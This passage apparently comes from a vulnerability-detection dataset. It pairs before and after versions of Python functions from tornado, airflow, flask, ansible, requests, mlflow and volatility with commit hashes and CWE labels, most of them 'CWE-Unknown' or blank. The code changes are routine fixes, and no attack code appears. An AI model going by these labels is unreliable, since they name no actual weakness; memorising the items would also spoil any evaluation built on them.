        self.auth_password = auth_password
        self.auth_mode = auth_mode
        self.connect_timeout = connect_timeout
        self.request_timeout = request_timeout
        self.follow_redirects = follow_redirects
        self.max_redirects = max_redirects
        self.user_agent = user_agent
        if decompress_response is not None:
            self.decompress_response = decompress_response
        else:
            self.decompress_response = use_gzip
        self.network_interface = network_interface
        self.streaming_callback = streaming_callback
        self.header_callback = header_callback
        self.prepare_curl_callback = prepare_curl_callback
        self.allow_nonstandard_methods = allow_nonstandard_methods
        self.validate_cert = validate_cert
        self.ca_certs = ca_certs
        self.allow_ipv6 = allow_ipv6
        self.client_key = client_key
        self.client_cert = client_cert
        self.ssl_options = ssl_options
        self.expect_100_continue = expect_100_continue
        self.start_time = time.time()",CWE-Unknown,tornadoweb/tornado,553b543763aa30e4037ddaceeab688662b4a2998,"def __init__(self, url, method=""GET"", headers=None, body=None,
                 auth_username=None, auth_password=None, auth_mode=None,
                 connect_timeout=None, request_timeout=None,
                 if_modified_since=None, follow_redirects=None,
                 max_redirects=None, user_agent=None, use_gzip=None,
                 network_interface=None, streaming_callback=None,
                 header_callback=None, prepare_curl_callback=None,
                 proxy_host=None, proxy_port=None, proxy_username=None,
                 proxy_password=None, allow_nonstandard_methods=None,
                 validate_cert=None, ca_certs=None,
                 allow_ipv6=None,
                 client_key=None, client_cert=None, body_producer=None,
                 expect_100_continue=False, decompress_response=None,
                 ssl_options=None):
        r""""""All parameters except ``url`` are optional.

        :arg string url: URL to fetch
        :arg string method: HTTP method, e.g. ""GET"" or ""POST""
        :arg headers: Additional HTTP headers to pass on the request
        :type headers: `~tornado.httputil.HTTPHeaders` or `dict`
        :arg body: HTTP request body as a string (byte or unicode; if unicode
           the utf-8 encoding will be used)
        :arg body_producer: Callable used for lazy/asynchronous request bodies.
           It is called with one argument, a ``write`` function, and should
           return a `.Future`.  It should call the write function with new
           data as it becomes available.  The write function returns a
           `.Future` which can be used for flow control.
           Only one of ``body`` and ``body_producer`` may
           be specified.  ``body_producer`` is not supported on
           ``curl_httpclient``.  When using ``body_producer`` it is recommended
           to pass a ``Content-Length`` in the headers as otherwise chunked
           encoding will be used, and many servers do not support chunked
           encoding on requests.  New in Tornado 4.0
        :arg string auth_username: Username for HTTP authentication
        :arg string auth_password: Password for HTTP authentication
        :arg string auth_mode: Authentication mode; default is ""basic"".
           Allowed values are implementation-defined; ``curl_httpclient``
           supports ""basic"" and ""digest""; ``simple_httpclient`` only supports
           ""basic""
        :arg float connect_timeout: Timeout for initial connection in seconds
        :arg float request_timeout: Timeout for entire request in seconds
        :arg if_modified_since: Timestamp for ``If-Modified-Since`` header
        :type if_modified_since: `datetime` or `float`
        :arg bool follow_redirects: Should redirects be followed automatically
           or return the 3xx response?
        :arg int max_redirects: Limit for ``follow_redirects``
        :arg string user_agent: String to send as ``User-Agent`` header
        :arg bool decompress_response: Request a compressed response from
           the server and decompress it after downloading.  Default is True.
           New in Tornado 4.0.
        :arg bool use_gzip: Deprecated alias for ``decompress_response``
           since Tornado 4.0.
        :arg string network_interface: Network interface to use for request.
           ``curl_httpclient`` only; see note below.
        :arg callable streaming_callback: If set, ``streaming_callback`` will
           be run with each chunk of data as it is received, and
           ``HTTPResponse.body`` and ``HTTPResponse.buffer`` will be empty in
           the final response.
        :arg callable header_callback: If set, ``header_callback`` will
           be run with each header line as it is received (including the
           first line, e.g. ``HTTP/1.0 200 OK\r\n``, and a final line
           containing only ``\r\n``.  All lines include the trailing newline
           characters).  ``HTTPResponse.headers`` will be empty in the final
           response.  This is most useful in conjunction with
           ``streaming_callback``, because it's the only way to get access to
           header data while the request is in progress.
        :arg callable prepare_curl_callback: If set, will be called with
           a ``pycurl.Curl`` object to allow the application to make additional
           ``setopt`` calls.
        :arg string proxy_host: HTTP proxy hostname.  To use proxies,
           ``proxy_host`` and ``proxy_port`` must be set; ``proxy_username`` and
           ``proxy_pass`` are optional.  Proxies are currently only supported
           with ``curl_httpclient``.
        :arg int proxy_port: HTTP proxy port
        :arg string proxy_username: HTTP proxy username
        :arg string proxy_password: HTTP proxy password
        :arg bool allow_nonstandard_methods: Allow unknown values for ``method``
           argument?
        :arg bool validate_cert: For HTTPS requests, validate the server's
           certificate?
        :arg string ca_certs: filename of CA certificates in PEM format,
           or None to use defaults.  See note below when used with
           ``curl_httpclient``.
        :arg string client_key: Filename for client SSL key, if any.  See
           note below when used with ``curl_httpclient``.
        :arg string client_cert: Filename for client SSL certificate, if any.
           See note below when used with ``curl_httpclient``.
        :arg SSLContext ssl_options: `ssl.SSLContext` object for use in
           ``simple_httpclient`` (unsupported by ``curl_httpclient``).
           Overrides ``validate_cert``, ``ca_certs``, ``client_key``,
           and ``client_cert``.
        :arg bool allow_ipv6: Use IPv6 when available?  Default is true.
        :arg bool expect_100_continue: If true, send the
           ``Expect: 100-continue`` header and wait for a continue response
           before sending the request body.  Only supported with
           simple_httpclient.

        .. note::

            When using ``curl_httpclient`` certain options may be
            inherited by subsequent fetches because ``pycurl`` does
            not allow them to be cleanly reset.  This applies to the
            ``ca_certs``, ``client_key``, ``client_cert``, and
            ``network_interface`` arguments.  If you use these
            options, you should pass them on every request (you don't
            have to always use the same values, but it's not possible
            to mix requests that specify these options with ones that
            use the defaults).

        .. versionadded:: 3.1
           The ``auth_mode`` argument.

        .. versionadded:: 4.0
           The ``body_producer`` and ``expect_100_continue`` arguments.

        .. verisonadded:: 4.2
           The ``ssl_options`` argument.
        """"""
        # Note that some of these attributes go through property setters
        # defined below.
        self.headers = headers
        if if_modified_since:
            self.headers[""If-Modified-Since""] = httputil.format_timestamp(
                if_modified_since)
        self.proxy_host = proxy_host
        self.proxy_port = proxy_port
        self.proxy_username = proxy_username
        self.proxy_password = proxy_password
        self.url = url
        self.method = method
        self.body = body
        self.body_producer = body_producer
        self.auth_username = auth_username
        self.auth_password = auth_password
        self.auth_mode = auth_mode
        self.connect_timeout = connect_timeout
        self.request_timeout = request_timeout
        self.follow_redirects = follow_redirects
        self.max_redirects = max_redirects
        self.user_agent = user_agent
        if decompress_response is not None:
            self.decompress_response = decompress_response
        else:
            self.decompress_response = use_gzip
        self.network_interface = network_interface
        self.streaming_callback = streaming_callback
        self.header_callback = header_callback
        self.prepare_curl_callback = prepare_curl_callback
        self.allow_nonstandard_methods = allow_nonstandard_methods
        self.validate_cert = validate_cert
        self.ca_certs = ca_certs
        self.allow_ipv6 = allow_ipv6
        self.client_key = client_key
        self.client_cert = client_cert
        self.ssl_options = ssl_options
        self.expect_100_continue = expect_100_continue
        self.start_time = time.time()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/hooks/mlengine.py,0,"def create_job(self, job: dict, project_id: str, use_existing_job_fn: Optional[Callable] = None) -> dict:
        """"""
        Launches a MLEngine job and wait for it to reach a terminal state.

        :param project_id: The Google Cloud project id within which MLEngine
            job will be launched. If set to None or missing, the default project_id from the Google Cloud
            connection is used.
        :type project_id: str
        :param job: MLEngine Job object that should be provided to the MLEngine
            API, such as: ::

                {
                  'jobId': 'my_job_id',
                  'trainingInput': {
                    'scaleTier': 'STANDARD_1',
                    ...
                  }
                }

        :type job: dict
        :param use_existing_job_fn: In case that a MLEngine job with the same
            job_id already exist, this method (if provided) will decide whether
            we should use this existing job, continue waiting for it to finish
            and returning the job object. It should accepts a MLEngine job
            object, and returns a boolean value indicating whether it is OK to
            reuse the existing job. If 'use_existing_job_fn' is not provided,
            we by default reuse the existing MLEngine job.
        :type use_existing_job_fn: function
        :return: The MLEngine job object if the job successfully reach a
            terminal state (which might be FAILED or CANCELLED state).
        :rtype: dict
        """"""
        hook = self.get_conn()

        self._append_label(job)
        self.log.info(""Creating job."")
        # pylint: disable=no-member
        request = hook.projects().jobs().create(parent=f'projects/{project_id}', body=job)
        job_id = job['jobId']

        try:
            request.execute(num_retries=self.num_retries)
        except HttpError as e:
            # 409 means there is an existing job with the same job ID.
            if e.resp.status == 409:
                if use_existing_job_fn is not None:
                    existing_job = self._get_job(project_id, job_id)
                    if not use_existing_job_fn(existing_job):
                        self.log.error(
                            'Job with job_id %s already exist, but it does not match our expectation: %s',
                            job_id,
                            existing_job,
                        )
                        raise
                self.log.info('Job with job_id %s already exist. Will waiting for it to finish', job_id)
            else:
                self.log.error('Failed to create MLEngine job: %s', e)
                raise

        return self._wait_for_job_done(project_id, job_id)",CWE-Unknown,apache/airflow,dd2095f4a8b07c9b1a4c279a3578cd1e23b71a1b,"def create_job(self, job: dict, project_id: str, use_existing_job_fn: Optional[Callable] = None) -> dict:
        """"""
        Launches a MLEngine job and wait for it to reach a terminal state.

        :param project_id: The Google Cloud project id within which MLEngine
            job will be launched. If set to None or missing, the default project_id from the Google Cloud
            connection is used.
        :type project_id: str
        :param job: MLEngine Job object that should be provided to the MLEngine
            API, such as: ::

                {
                  'jobId': 'my_job_id',
                  'trainingInput': {
                    'scaleTier': 'STANDARD_1',
                    ...
                  }
                }

        :type job: dict
        :param use_existing_job_fn: In case that a MLEngine job with the same
            job_id already exist, this method (if provided) will decide whether
            we should use this existing job, continue waiting for it to finish
            and returning the job object. It should accepts a MLEngine job
            object, and returns a boolean value indicating whether it is OK to
            reuse the existing job. If 'use_existing_job_fn' is not provided,
            we by default reuse the existing MLEngine job.
        :type use_existing_job_fn: function
        :return: The MLEngine job object if the job successfully reach a
            terminal state (which might be FAILED or CANCELLED state).
        :rtype: dict
        """"""
        hook = self.get_conn()

        self._append_label(job)
        self.log.info(""Creating job."")
        # pylint: disable=no-member
        request = hook.projects().jobs().create(parent=f'projects/{project_id}', body=job)
        job_id = job['jobId']

        try:
            request.execute(num_retries=self.num_retries)
        except HttpError as e:
            # 409 means there is an existing job with the same job ID.
            if e.resp.status == 409:
                if use_existing_job_fn is not None:
                    existing_job = self._get_job(project_id, job_id)
                    if not use_existing_job_fn(existing_job):
                        self.log.error(
                            'Job with job_id %s already exist, but it does ' 'not match our expectation: %s',
                            job_id,
                            existing_job,
                        )
                        raise
                self.log.info('Job with job_id %s already exist. Will waiting for it to finish', job_id)
            else:
                self.log.error('Failed to create MLEngine job: %s', e)
                raise

        return self._wait_for_job_done(project_id, job_id)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/app.py,0,"def preprocess_request(self):
        """"""Called before the actual request dispatching and will
        call each :meth:`before_request` decorated function, passing no
        arguments.
        If any of these functions returns a value, it's handled as
        if it was the return value from the view and further
        request handling is stopped.

        This also triggers the :meth:`url_value_preprocessor` functions before
        the actual :meth:`before_request` functions are called.
        """"""
        bp = _request_ctx_stack.top.request.blueprint

        funcs = self.url_value_preprocessors.get(None, ())
        if bp is not None and bp in self.url_value_preprocessors:
            funcs = chain(funcs, self.url_value_preprocessors[bp])
        for func in funcs:
            func(request.endpoint, request.view_args)

        funcs = self.before_request_funcs.get(None, ())
        if bp is not None and bp in self.before_request_funcs:
            funcs = chain(funcs, self.before_request_funcs[bp])
        for func in funcs:
            rv = func()
            if rv is not None:
                return rv",,pallets/flask,67e391921c50f02190be8407d4a02efe8d2d28f6,"def preprocess_request(self):
        """"""Called before the actual request dispatching and will
        call each :meth:`before_request` decorated function, passing no
        arguments.
        If any of these functions returns a value, it's handled as
        if it was the return value from the view and further
        request handling is stopped.

        This also triggers the :meth:`url_value_processor` functions before
        the actual :meth:`before_request` functions are called.
        """"""
        bp = _request_ctx_stack.top.request.blueprint

        funcs = self.url_value_preprocessors.get(None, ())
        if bp is not None and bp in self.url_value_preprocessors:
            funcs = chain(funcs, self.url_value_preprocessors[bp])
        for func in funcs:
            func(request.endpoint, request.view_args)

        funcs = self.before_request_funcs.get(None, ())
        if bp is not None and bp in self.before_request_funcs:
            funcs = chain(funcs, self.before_request_funcs[bp])
        for func in funcs:
            rv = func()
            if rv is not None:
                return rv"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/vmware.py,0,"def set_vm_power_state(content, vm, state, force, timeout=0):
    """"""
    Set the power status for a VM determined by the current and
    requested states. force is forceful
    """"""
    facts = gather_vm_facts(content, vm)
    expected_state = state.replace('_', '').replace('-', '').lower()
    current_state = facts['hw_power_status'].lower()
    result = dict(
        changed=False,
        failed=False,
    )

    # Need Force
    if not force and current_state not in ['poweredon', 'poweredoff']:
        result['failed'] = True
        result['msg'] = ""Virtual Machine is in %s power state. Force is required!"" % current_state
        return result

    # State is not already true
    if current_state != expected_state:
        task = None
        try:
            if expected_state == 'poweredoff':
                task = vm.PowerOff()

            elif expected_state == 'poweredon':
                task = vm.PowerOn()

            elif expected_state == 'restarted':
                if current_state in ('poweredon', 'poweringon', 'resetting', 'poweredoff'):
                    task = vm.Reset()
                else:
                    result['failed'] = True
                    result['msg'] = ""Cannot restart virtual machine in the current state %s"" % current_state

            elif expected_state == 'suspended':
                if current_state in ('poweredon', 'poweringon'):
                    task = vm.Suspend()
                else:
                    result['failed'] = True
                    result['msg'] = 'Cannot suspend virtual machine in the current state %s' % current_state

            elif expected_state in ['shutdownguest', 'rebootguest']:
                if current_state == 'poweredon':
                    if vm.guest.toolsRunningStatus == 'guestToolsRunning':
                        if expected_state == 'shutdownguest':
                            task = vm.ShutdownGuest()
                            if timeout > 0:
                                result.update(wait_for_poweroff(vm, timeout))
                        else:
                            task = vm.RebootGuest()
                        # Set result['changed'] immediately because
                        # shutdown and reboot return None.
                        result['changed'] = True
                    else:
                        result['failed'] = True
                        result['msg'] = ""VMware tools should be installed for guest shutdown/reboot""
                else:
                    result['failed'] = True
                    result['msg'] = ""Virtual machine %s must be in poweredon state for guest shutdown/reboot"" % vm.name

            else:
                result['failed'] = True
                result['msg'] = ""Unsupported expected state provided: %s"" % expected_state

        except Exception as e:
            result['failed'] = True
            result['msg'] = to_text(e)

        if task:
            wait_for_task(task)
            if task.info.state == 'error':
                result['failed'] = True
                result['msg'] = task.info.error.msg
            else:
                result['changed'] = True

    # need to get new metadata if changed
    result['instance'] = gather_vm_facts(content, vm)

    return result",,ansible/ansible,4edcbeb62d4426f428328fcf95d1198a3090eceb,"def set_vm_power_state(content, vm, state, force, timeout=0):
    """"""
    Set the power status for a VM determined by the current and
    requested states. force is forceful
    """"""
    facts = gather_vm_facts(content, vm)
    expected_state = state.replace('_', '').replace('-', '').lower()
    current_state = facts['hw_power_status'].lower()
    result = dict(
        changed=False,
        failed=False,
    )

    # Need Force
    if not force and current_state not in ['poweredon', 'poweredoff']:
        result['failed'] = True
        result['msg'] = ""Virtual Machine is in %s power state. Force is required!"" % current_state
        return result

    # State is not already true
    if current_state != expected_state:
        task = None
        try:
            if expected_state == 'poweredoff':
                task = vm.PowerOff()

            elif expected_state == 'poweredon':
                task = vm.PowerOn()

            elif expected_state == 'restarted':
                if current_state in ('poweredon', 'poweringon', 'resetting', 'poweredoff'):
                    task = vm.Reset()
                else:
                    result['failed'] = True
                    result['msg'] = ""Cannot restart virtual machine in the current state %s"" % current_state

            elif expected_state == 'suspended':
                if current_state in ('poweredon', 'poweringon'):
                    task = vm.Suspend()
                else:
                    result['failed'] = True
                    result['msg'] = 'Cannot suspend virtual machine in the current state %s' % current_state

            elif expected_state in ['shutdownguest', 'rebootguest']:
                if current_state == 'poweredon':
                    if vm.guest.toolsRunningStatus == 'guestToolsRunning':
                        if expected_state == 'shutdownguest':
                            task = vm.ShutdownGuest()
                            if timeout > 0:
                                result.update(wait_for_poweroff(vm, timeout))
                        else:
                            task = vm.RebootGuest()
                        # Set result['changed'] immediately because
                        # shutdown and reboot return None.
                        result['changed'] = True
                    else:
                        result['failed'] = True
                        result['msg'] = ""VMware tools should be installed for guest shutdown/reboot""
                else:
                    result['failed'] = True
                    result['msg'] = ""Virtual machine %s must be in poweredon state for guest shutdown/reboot"" % vm.name

            else:
                result['failed'] = True
                result['msg'] = ""Unsupported expected state provided: %s"" % expected_state

        except Exception as e:
            result['failed'] = True
            result['msg'] = to_text(e)

        if task:
            wait_for_task(task)
            if task.info.state == 'error':
                result['failed'] = True
                result['msg'] = task.info.error.msg
            else:
                result['changed'] = True

    # need to get new metadata if changed
    if result['changed']:
        result['instance'] = gather_vm_facts(content, vm)

    return result"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/contrib/hooks/qubole_hook.py,0,"def kill(self, ti):
        """"""
        Kill (cancel) a Qubole command

        :param ti: Task Instance of the dag, used to determine the Quboles command id
        :return: response from Qubole
        """"""
        if self.cmd is None:
            if not ti and not self.task_instance:
                raise Exception(""Unable to cancel Qubole Command, context is unavailable!"")
            elif not ti:
                ti = self.task_instance
            cmd_id = ti.xcom_pull(key=""qbol_cmd_id"", task_ids=ti.task_id)
            self.cmd = self.cls.find(cmd_id)
        if self.cls and self.cmd:
            self.log.info('Sending KILL signal to Qubole Command Id: %s', self.cmd.id)
            self.cmd.cancel()",CWE-Unknown,apache/airflow,2379061040861d9a90225e815f6cf44067ebdfee,"def kill(self, ti):
        """"""
        Kill (cancel) a Qubole command
        :param ti: Task Instance of the dag, used to determine the Quboles command id
        :return: response from Qubole
        """"""
        if self.cmd is None:
            if not ti and not self.task_instance:
                raise Exception(""Unable to cancel Qubole Command, context is unavailable!"")
            elif not ti:
                ti = self.task_instance
            cmd_id = ti.xcom_pull(key=""qbol_cmd_id"", task_ids=ti.task_id)
            self.cmd = self.cls.find(cmd_id)
        if self.cls and self.cmd:
            self.log.info('Sending KILL signal to Qubole Command Id: %s', self.cmd.id)
            self.cmd.cancel()"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/sessions.py,0,"def get_adapter(self, url):
        """"""
        Returns the appropriate connection adapter for the given URL.

        :rtype: requests.adapters.BaseAdapter
        """"""
        for (prefix, adapter) in self.adapters.items():

            if url.lower().startswith(prefix.lower()):
                return adapter

        # Nothing matches :-/
        raise InvalidSchema(""No connection adapters were found for '%s'"" % url)",,psf/requests,8982efa9e46172b42c8cf6cdcc1a3f4c75e670ce,"def get_adapter(self, url):
        """"""
        Returns the appropriate connection adapter for the given URL.

        :rtype: requests.adapters.BaseAdapter
        """"""
        for (prefix, adapter) in self.adapters.items():

            if url.lower().startswith(prefix):
                return adapter

        # Nothing matches :-/
        raise InvalidSchema(""No connection adapters were found for '%s'"" % url)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/tracking/file_store.py,0,"def create_run(self, experiment_id, user_id, start_time, tags):
        """"""
        Creates a run with the specified attributes.
        """"""
        experiment_id = FileStore.DEFAULT_EXPERIMENT_ID if experiment_id is None else experiment_id
        experiment = self.get_experiment(experiment_id)
        if experiment is None:
            raise MlflowException(
                ""Could not create run under experiment with ID %s - no such experiment ""
                ""exists."" % experiment_id,
                databricks_pb2.RESOURCE_DOES_NOT_EXIST,
            )
        if experiment.lifecycle_stage != LifecycleStage.ACTIVE:
            raise MlflowException(
                ""Could not create run under non-active experiment with ID %s."" % experiment_id,
                databricks_pb2.INVALID_STATE,
            )
        run_uuid = uuid.uuid4().hex
        artifact_uri = self._get_artifact_dir(experiment_id, run_uuid)
        run_info = RunInfo(
            run_uuid=run_uuid,
            run_id=run_uuid,
            experiment_id=experiment_id,
            artifact_uri=artifact_uri,
            user_id=user_id,
            status=RunStatus.to_string(RunStatus.RUNNING),
            start_time=start_time,
            end_time=None,
            lifecycle_stage=LifecycleStage.ACTIVE,
        )
        # Persist run metadata and create directories for logging metrics, parameters, artifacts
        run_dir = self._get_run_dir(run_info.experiment_id, run_info.run_id)
        mkdir(run_dir)
        run_info_dict = _make_persisted_run_info_dict(run_info)
        run_info_dict[""deleted_time""] = None
        write_yaml(run_dir, FileStore.META_DATA_FILE_NAME, run_info_dict)
        mkdir(run_dir, FileStore.METRICS_FOLDER_NAME)
        mkdir(run_dir, FileStore.PARAMS_FOLDER_NAME)
        mkdir(run_dir, FileStore.ARTIFACTS_FOLDER_NAME)
        if MLFLOW_RUN_NAME not in [tag.key for tag in tags]:
            tags.append(RunTag(MLFLOW_RUN_NAME, _generate_random_name()))
        for tag in tags:
            self.set_tag(run_uuid, tag)
        return self.get_run(run_id=run_uuid)",,mlflow/mlflow,55bbedd04c7eca2b307ef89bf0c4bd78490ec533,"def create_run(self, experiment_id, user_id, start_time, tags):
        """"""
        Creates a run with the specified attributes.
        """"""
        experiment_id = FileStore.DEFAULT_EXPERIMENT_ID if experiment_id is None else experiment_id
        experiment = self.get_experiment(experiment_id)
        if experiment is None:
            raise MlflowException(
                ""Could not create run under experiment with ID %s - no such experiment ""
                ""exists."" % experiment_id,
                databricks_pb2.RESOURCE_DOES_NOT_EXIST,
            )
        if experiment.lifecycle_stage != LifecycleStage.ACTIVE:
            raise MlflowException(
                ""Could not create run under non-active experiment with ID %s."" % experiment_id,
                databricks_pb2.INVALID_STATE,
            )
        run_uuid = uuid.uuid4().hex
        artifact_uri = self._get_artifact_dir(experiment_id, run_uuid)
        run_info = RunInfo(
            run_uuid=run_uuid,
            run_id=run_uuid,
            experiment_id=experiment_id,
            artifact_uri=artifact_uri,
            user_id=user_id,
            status=RunStatus.to_string(RunStatus.RUNNING),
            start_time=start_time,
            end_time=None,
            lifecycle_stage=LifecycleStage.ACTIVE,
        )
        # Persist run metadata and create directories for logging metrics, parameters, artifacts
        run_dir = self._get_run_dir(run_info.experiment_id, run_info.run_id)
        mkdir(run_dir)
        run_info_dict = _make_persisted_run_info_dict(run_info)
        run_info_dict[""deleted_time""] = None
        write_yaml(run_dir, FileStore.META_DATA_FILE_NAME, run_info_dict)
        mkdir(run_dir, FileStore.METRICS_FOLDER_NAME)
        mkdir(run_dir, FileStore.PARAMS_FOLDER_NAME)
        mkdir(run_dir, FileStore.ARTIFACTS_FOLDER_NAME)
        if isinstance(tags, list):
            if MLFLOW_RUN_NAME not in [tag.key for tag in tags]:
                tags.append(RunTag(MLFLOW_RUN_NAME, _generate_random_name()))
        # cli sends tags to the backend store as a dict
        elif isinstance(tags, dict) and not tags:
            if MLFLOW_RUN_NAME not in tags.keys():
                tags = [RunTag(MLFLOW_RUN_NAME, _generate_random_name())]
        for tag in tags:
            self.set_tag(run_uuid, tag)
        return self.get_run(run_id=run_uuid)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/triggers/kubernetes_engine.py,0,"def __init__(
        self,
        operation_name: str,
        project_id: str | None,
        location: str,
        gcp_conn_id: str = ""google_cloud_default"",
        impersonation_chain: str | Sequence[str] | None = None,
        poll_interval: int = 10,
    ):
        super().__init__()

        self.operation_name = operation_name
        self.project_id = project_id
        self.location = location
        self.gcp_conn_id = gcp_conn_id
        self.impersonation_chain = impersonation_chain
        self.poll_interval = poll_interval

        self._hook: GKEAsyncHook | None = None",CWE-Unknown,apache/airflow,0a8e771fb7e201bf4ee89444e7d50ddb6c00d372,"def __init__(
        self,
        operation_name: str,
        project_id: str | None,
        location: str,
        gcp_conn_id: str = ""google_cloud_default"",
        impersonation_chain: str | Sequence[str] | None = None,
        poll_interval: int = 10,
    ):
        super().__init__()

        self.operation_name = operation_name
        self.project_id = project_id
        self.location = location
        self.gcp_conn_id = gcp_conn_id
        self.impersonation_chain = impersonation_chain
        self.poll_interval = poll_interval

        self._hook: GKEAsyncHook | None = None"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/win32/network.py,0,"def determine_connections(addr_space):
    """"""Determines all connections for each module""""""
    all_modules = win32.modules.lsmod(addr_space)

    version = (addr_space.profile.metadata.get('major', 0), 
               addr_space.profile.metadata.get('minor', 0))

    if version <= (5, 1):
        module_versions = module_versions_xp
    else:
        module_versions = module_versions_2k3

    for m in all_modules:
        if str(m.BaseDllName).lower() == 'tcpip.sys':
            for attempt in module_versions:
                table_size = obj.Object(
                    ""long"",
                    offset = m.DllBase + \
                             module_versions[attempt]['SizeOff'][0],
                    vm = addr_space)

                table_addr = obj.Object(
                    ""unsigned long"",
                    offset = m.DllBase + \
                             module_versions[attempt]['TCBTableOff'][0],
                    vm = addr_space)

                if table_size > 0:
                    table = obj.Object(""Array"",
                        offset = table_addr, vm = addr_space,
                        count = table_size,
                        target = obj.Curry(obj.Pointer, '_TCPT_OBJECT'))

                    if table:
                        for entry in table:
                            conn = entry.dereference()
                            while conn.is_valid():
                                yield conn
                                conn = conn.Next",,volatilityfoundation/volatility,c211476a8fd6bc5a899881a4417670a396a0a978,"def determine_connections(addr_space):
    """"""Determines all connections for each module""""""
    all_modules = win32.modules.lsmod(addr_space)

    if addr_space.profile.metadata.get('major', 0) <= 5.1 and addr_space.profile.metadata.get('minor', 0) == 1:
        module_versions = module_versions_xp
    else:
        module_versions = module_versions_2k3

    for m in all_modules:
        if str(m.BaseDllName).lower() == 'tcpip.sys':
            for attempt in module_versions:
                table_size = obj.Object(
                    ""long"",
                    offset = m.DllBase + \
                             module_versions[attempt]['SizeOff'][0],
                    vm = addr_space)

                table_addr = obj.Object(
                    ""unsigned long"",
                    offset = m.DllBase + \
                             module_versions[attempt]['TCBTableOff'][0],
                    vm = addr_space)

                if table_size > 0:
                    table = obj.Object(""Array"",
                        offset = table_addr, vm = addr_space,
                        count = table_size,
                        target = obj.Curry(obj.Pointer, '_TCPT_OBJECT'))

                    if table:
                        for entry in table:
                            conn = entry.dereference()
                            while conn.is_valid():
                                yield conn
                                conn = conn.Next"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/utils.py,0,"def should_bypass_proxies(url):
    """"""
    Returns whether we should bypass proxies or not.
    """"""
    get_proxy = lambda k: os.environ.get(k) or os.environ.get(k.upper())

    # First check whether no_proxy is defined. If it is, check that the URL
    # we're getting isn't in the no_proxy list.
    no_proxy = get_proxy('no_proxy')
    netloc = urlparse(url).netloc

    if no_proxy:
        # We need to check whether we match here. We need to see if we match
        # the end of the netloc, both with and without the port.
        no_proxy = (
            host for host in no_proxy.replace(' ', '').split(',') if host
        )

        ip = netloc.split(':')[0]
        if is_ipv4_address(ip):
            for proxy_ip in no_proxy:
                if is_valid_cidr(proxy_ip):
                    if address_in_network(ip, proxy_ip):
                        return True
                elif ip == proxy_ip:
                    # If no_proxy ip was defined in plain IP notation instead of cidr notation &
                    # matches the IP of the index
                    return True
        else:
            for host in no_proxy:
                if netloc.endswith(host) or netloc.split(':')[0].endswith(host):
                    # The URL does match something in no_proxy, so we don't want
                    # to apply the proxies on this URL.
                    return True

    # If the system proxy settings indicate that this URL should be bypassed,
    # don't proxy.
    # The proxy_bypass function is incredibly buggy on OS X in early versions
    # of Python 2.6, so allow this call to fail. Only catch the specific
    # exceptions we've seen, though: this call failing in other ways can reveal
    # legitimate problems.
    try:
        bypass = proxy_bypass(netloc)
    except (TypeError, socket.gaierror):
        bypass = False

    if bypass:
        return True

    return False",,psf/requests,12e36318272bf77c079774a5c97c5abf23e634bb,"def should_bypass_proxies(url):
    """"""
    Returns whether we should bypass proxies or not.
    """"""
    get_proxy = lambda k: os.environ.get(k) or os.environ.get(k.upper())

    # First check whether no_proxy is defined. If it is, check that the URL
    # we're getting isn't in the no_proxy list.
    no_proxy = get_proxy('no_proxy')
    netloc = urlparse(url).netloc

    if no_proxy:
        # We need to check whether we match here. We need to see if we match
        # the end of the netloc, both with and without the port.
        no_proxy = (
            host for host in no_proxy.replace(' ', '').split(',') if host
        )

        ip = netloc.split(':')[0]
        if is_ipv4_address(ip):
            for proxy_ip in no_proxy:
                if is_valid_cidr(proxy_ip):
                    if address_in_network(ip, proxy_ip):
                        return True
        else:
            for host in no_proxy:
                if netloc.endswith(host) or netloc.split(':')[0].endswith(host):
                    # The URL does match something in no_proxy, so we don't want
                    # to apply the proxies on this URL.
                    return True

    # If the system proxy settings indicate that this URL should be bypassed,
    # don't proxy.
    # The proxy_bypass function is incredibly buggy on OS X in early versions
    # of Python 2.6, so allow this call to fail. Only catch the specific
    # exceptions we've seen, though: this call failing in other ways can reveal
    # legitimate problems.
    try:
        bypass = proxy_bypass(netloc)
    except (TypeError, socket.gaierror):
        bypass = False

    if bypass:
        return True

    return False"
,UNKNOWN,UNKNOWN,tests/jobs/test_scheduler_job.py,1,"def test_runs_respected_after_clear(self):
        """"""
        Test if _process_task_instances only schedules ti's up to max_active_runs
        (related to issue AIRFLOW-137)
        """"""
        dag = DAG(dag_id='test_scheduler_max_active_runs_respected_after_clear', start_date=DEFAULT_DATE)
        dag.max_active_runs = 3

        BashOperator(task_id='dummy', dag=dag, owner='airflow', bash_command='echo Hi')

        session = settings.Session()
        orm_dag = DagModel(dag_id=dag.dag_id)
        session.merge(orm_dag)
        session.commit()
        session.close()
        dag = SerializedDAG.from_dict(SerializedDAG.to_dict(dag))

        scheduler = SchedulerJob(subdir=os.devnull)
        scheduler.processor_agent = mock.MagicMock()
        scheduler.dagbag.bag_dag(dag, root_dag=dag)
        dag.clear()

        date = DEFAULT_DATE
        dr1 = dag.create_dagrun(
            run_type=DagRunType.SCHEDULED,
            execution_date=date,
            state=State.RUNNING,
        )
        date = dag.following_schedule(date)
        dr2 = dag.create_dagrun(
            run_type=DagRunType.SCHEDULED,
            execution_date=date,
            state=State.RUNNING,
        )
        date = dag.following_schedule(date)
        dr3 = dag.create_dagrun(
            run_type=DagRunType.SCHEDULED,
            execution_date=date,
            state=State.RUNNING,
        )

        # First create up to 3 dagruns in RUNNING state.
        assert dr1 is not None
        assert dr2 is not None
        assert dr3 is not None
        assert len(DagRun.find(dag_id=dag.dag_id, state=State.RUNNING, session=session)) == 3

        # Reduce max_active_runs to 1
        dag.max_active_runs = 1

        # and schedule them in, so we can check how many
        # tasks are put on the task_instances_list (should be one, not 3)
        with create_session() as session:
            num_scheduled = scheduler._schedule_dag_run(dr1, set(), session)
            assert num_scheduled == 1
            num_scheduled = scheduler._schedule_dag_run(dr2, {dr1.execution_date}, session)
            assert num_scheduled == 0
